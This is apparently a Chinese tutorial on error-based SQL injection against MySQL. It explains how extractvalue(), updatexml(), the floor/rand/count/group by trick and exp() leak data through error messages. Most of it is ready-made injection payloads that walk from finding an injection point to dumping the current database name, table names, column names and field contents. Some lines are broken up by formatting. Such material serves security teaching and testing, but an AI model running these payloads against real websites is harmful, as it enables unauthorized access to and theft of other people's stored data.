通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号名、用户名等)通过页面的错误提示显示出来。如下图:
extractvalue
、updatexml
等)进行过滤。(1)extractvlue()
(Mysql数据库版本号>=5.1.5)
extactvalue(XML_document, XPath_string)
XML_document
是String格式,为XML文档对象的名称。XPath_string
(XPath格式的字符串),注入时可操作的地方。注:该函数的最大显示长度为32,超过长度可以配合
substr
、limit
等函数来显示。
(2)updatexml()
(Mysql数据库版本号>=5.1.5)
updatexml(XML_document, XPath_string, new_value)
XML_document
是String格式,为XML文档对象的名称。XPath_string
(XPath格式的字符串),注入时可操作的地方。注:该函数的最大显示长度为32,超过长度可以配合
substr
、limit
等函数来显示。
(3)floor()、rand()、count()、group by
联用
Duplicate entry '...' for key 'group_key'
。(4)exp()
(5.5.5< = MYsql数据库版本<=5.5.49)
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容
id=1' # //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+ //爆出当前数据库名
id=1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看数据库的表名
id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看表中的字段名
id=1' and (select 1 from (select count(*),concat((select group_concat(concat(字段1,'%23',字段2))),floor(rand()*2))x from information_schema.tables group by x)a) --+ //查看字段内容